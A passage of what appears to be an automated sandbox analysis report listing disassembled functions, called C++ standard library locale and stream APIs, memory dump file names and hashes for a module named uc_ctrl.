Instruction Fuzzy Hash: A3219D30A01118AFCF01DFA4C844AEEBFB5AF29308F144059E009A7341D731DA1ACBA0

Function 6C9524A0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9524A7

Part of subcall function 6C94FE3E: __EH_prolog3.LIBCMT ref: 6C94FE45
Part of subcall function 6C94FE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C951749,?,00000001,00000008), ref: 6C94FE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C9524D8

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949BEB: __EH_prolog3.LIBCMT ref: 6C949BF2
Part of subcall function 6C949BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAA0,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949BFD
Part of subcall function 6C949BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949C15
Part of subcall function 6C949BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949C79

std::locale::~locale.LIBCPMT ref: 6C9524ED
?put@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBUtm@@DD@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C95252A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C95256D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_$??1_?getloc@ios_base@std@@?put@?$time_put@_?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2020279049-0
Opcode ID: 4e5d536f992983dd091bed60374ad8065c6b1f76f22cd8fed6eccbbb81be225c
Instruction ID: 39c6c6b1d1c9b517522f3d076e6658c391ad40bfde90fe52451e3aedaaa1d78c
Opcode Fuzzy Hash: 4e5d536f992983dd091bed60374ad8065c6b1f76f22cd8fed6eccbbb81be225c
Instruction Fuzzy Hash: 62218E70A01118AFCF01DBE4C854EEEBFB5AF69308F544059E009A7751D731DA5ACBA0

Function 6C952590 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C952597

Part of subcall function 6C94FE3E: __EH_prolog3.LIBCMT ref: 6C94FE45
Part of subcall function 6C94FE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C951749,?,00000001,00000008), ref: 6C94FE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C9525C8

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949BEB: __EH_prolog3.LIBCMT ref: 6C949BF2
Part of subcall function 6C949BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAA0,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949BFD
Part of subcall function 6C949BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949C15
Part of subcall function 6C949BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949C79

std::locale::~locale.LIBCPMT ref: 6C9525DD
?get_time@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C95261A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C95265D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_time@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3851966274-0
Opcode ID: 5266b2227f9dbef719b292746e3aaf820bae92100f04b5e658709c0a5a0bebf5
Instruction ID: fd1c63ee440e3f73b9f01505f4f440785360d26ced95be7c1a348144da4502b1
Opcode Fuzzy Hash: 5266b2227f9dbef719b292746e3aaf820bae92100f04b5e658709c0a5a0bebf5
Instruction Fuzzy Hash: B3218134A01119AFCF05DFE4C854EEEBFB5AF68308F544059E105A7351D731DA59CB90

Function 6C952680 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C952687

Part of subcall function 6C94FE3E: __EH_prolog3.LIBCMT ref: 6C94FE45
Part of subcall function 6C94FE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C951749,?,00000001,00000008), ref: 6C94FE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C9526B8

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949BEB: __EH_prolog3.LIBCMT ref: 6C949BF2
Part of subcall function 6C949BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAA0,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949BFD
Part of subcall function 6C949BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949C15
Part of subcall function 6C949BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949C79

std::locale::~locale.LIBCPMT ref: 6C9526CD
?get_date@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C95270A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C95274D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_date@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 618236682-0
Opcode ID: 1567066404745d43d9ac346b4f48b740ab76432d4f13898f490e35f649590701
Instruction ID: 56380b869838cf63041a47d30a8a6e5ba1d4eb5ff7266cf9ec7ae5b221b1cc19
Opcode Fuzzy Hash: 1567066404745d43d9ac346b4f48b740ab76432d4f13898f490e35f649590701
Instruction Fuzzy Hash: 2A218E34A01119AFCF01DFE4C944EEEBFB5AF68308F544059E109A7351DB31DA5ACBA0

Function 6C9556E0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9556E7

Part of subcall function 6C94FE8C: __EH_prolog3.LIBCMT ref: 6C94FE93
Part of subcall function 6C94FE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C954999,?,00000001,00000008), ref: 6C94FEC8

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C955718

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949550: __EH_prolog3.LIBCMT ref: 6C949557
Part of subcall function 6C949550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E5C0,?,?,00000000), ref: 6C949562
Part of subcall function 6C949550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C94957A
Part of subcall function 6C949550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C9495DE

std::locale::~locale.LIBCPMT ref: 6C95572D
?put@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBUtm@@DD@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C95576A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C9557AD

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?getloc@ios_base@std@@?put@?$time_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@Utm@@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2855541823-0
Opcode ID: ce29dc2580d974f7959648e73645072138ca16a2a895e90a27afa567b5526bec
Instruction ID: 5c9f15eb08abce82b07cc05db1c1e359e70ba230564597e51a2c89b2ea1403b9
Opcode Fuzzy Hash: ce29dc2580d974f7959648e73645072138ca16a2a895e90a27afa567b5526bec
Instruction Fuzzy Hash: E6218E34A01108EFCB05DFE4C844EEEBFB5AF69308F144059E009A7752D731DA59CBA0

Function 6C9557D0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9557D7

Part of subcall function 6C94FE8C: __EH_prolog3.LIBCMT ref: 6C94FE93
Part of subcall function 6C94FE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C954999,?,00000001,00000008), ref: 6C94FEC8

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C955808

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949550: __EH_prolog3.LIBCMT ref: 6C949557
Part of subcall function 6C949550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E5C0,?,?,00000000), ref: 6C949562
Part of subcall function 6C949550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C94957A
Part of subcall function 6C949550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C9495DE

std::locale::~locale.LIBCPMT ref: 6C95581D
?get_time@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C95585A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C95589D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get_time@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3250374853-0
Opcode ID: cbf7ed26a96b2a93624ad48ac3e35b67698511d76cdc34da177840d64dd79331
Instruction ID: 83c16f98988602f507c4c6828be92d7fc97e6627bd4c5010c1388f20289cb8fd
Opcode Fuzzy Hash: cbf7ed26a96b2a93624ad48ac3e35b67698511d76cdc34da177840d64dd79331
Instruction Fuzzy Hash: C3218E34A01109AFCB05DFE8C844EEEBFB5BF69308F148059E109A7752DB31DA59CBA4

Function 6C952770 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C952777

Part of subcall function 6C94FE3E: __EH_prolog3.LIBCMT ref: 6C94FE45
Part of subcall function 6C94FE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C951749,?,00000001,00000008), ref: 6C94FE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C9527A8

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949BEB: __EH_prolog3.LIBCMT ref: 6C949BF2
Part of subcall function 6C949BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAA0,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949BFD
Part of subcall function 6C949BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949C15
Part of subcall function 6C949BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949C79

std::locale::~locale.LIBCPMT ref: 6C9527BD
?get_weekday@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C9527FA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C95283D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_weekday@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 1137270140-0
Opcode ID: a24d63f57a9139154fc5e1f2210dcdc3eab6c931d4bd9fdd68efd8408dd6c9ec
Instruction ID: a049c55a213ff5f9e4db902ee815028b9349db2504279e16c680825b1ea0f37e
Opcode Fuzzy Hash: a24d63f57a9139154fc5e1f2210dcdc3eab6c931d4bd9fdd68efd8408dd6c9ec
Instruction Fuzzy Hash: 44216D30A01118AFCF02DFE4C854AEEBFB5AF68308F544059E109A7351D731DA59DBA0

Function 6C956F10 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C956F17

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6C956F47

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93B058: __EH_prolog3.LIBCMT ref: 6C93B05F
Part of subcall function 6C93B058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93800B,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93B06A
Part of subcall function 6C93B058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93B082
Part of subcall function 6C93B058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B0E6

std::locale::~locale.LIBCPMT ref: 6C956F5D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_W_K@Z.MSVCP140(?,00000000,?,00000002,?,?,?,?,?), ref: 6C956F8E
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6C956FDB

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 1244e2dd9f244641857a16c3f07f5780fa9bd1320b64d56102406a272a5352e5
Instruction ID: 537b0f1c8a1408e477ef4b841ad163346dd07b37c978df07a76b2c4e02d2a9c0
Opcode Fuzzy Hash: 1244e2dd9f244641857a16c3f07f5780fa9bd1320b64d56102406a272a5352e5
Instruction Fuzzy Hash: D5218C34D01258EFDB01DFA8C850BEDBFB5AF29308F144089E544AB782CB769A59CB60

Function 6C958D30 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C958D37

Part of subcall function 6C94FEDA: __EH_prolog3.LIBCMT ref: 6C94FEE1
Part of subcall function 6C94FEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C957779,?,00000001,00000008), ref: 6C94FF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6C958D67

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93AFBD: __EH_prolog3.LIBCMT ref: 6C93AFC4
Part of subcall function 6C93AFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C937FBA,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93AFCF
Part of subcall function 6C93AFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93AFE7
Part of subcall function 6C93AFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B04B

std::locale::~locale.LIBCPMT ref: 6C958D7C
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAG@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6C958DB4
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6C958DF7

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 4202057792-0
Opcode ID: adc97f10ca23a173ca0654213c3e3c788e51464b42ba6e8be7b24ba281ba431c
Instruction ID: 11c98e85688030bac760b98752486beae4b98df0d877fa7d29a8c477d954def6
Opcode Fuzzy Hash: adc97f10ca23a173ca0654213c3e3c788e51464b42ba6e8be7b24ba281ba431c
Instruction Fuzzy Hash: B2216774901218AFCB04DFE4C8909EEBBB9AF28308F54505DE005A7742CB31DA59CBA1

Function 6C950E80 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C950E87

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6C950EB7

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949C86: __EH_prolog3.LIBCMT ref: 6C949C8D
Part of subcall function 6C949C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAF1,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949C98
Part of subcall function 6C949C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949CB0
Part of subcall function 6C949C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949D14

std::locale::~locale.LIBCPMT ref: 6C950ECD
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_W_K@Z.MSVCP140(?,?,?,00000002,?,?,?,?,?,?,?,?,?,?,?,00000028), ref: 6C950EFA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6C950F47

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: b2fb1085b402a521de818cf116a267e7706194efc5a228a4a9afc5ddcea95a25
Instruction ID: 7d6d035d6a87f7f2f6567db3d62638e94c1846f8f7dc27238e7329157106565a
Opcode Fuzzy Hash: b2fb1085b402a521de818cf116a267e7706194efc5a228a4a9afc5ddcea95a25
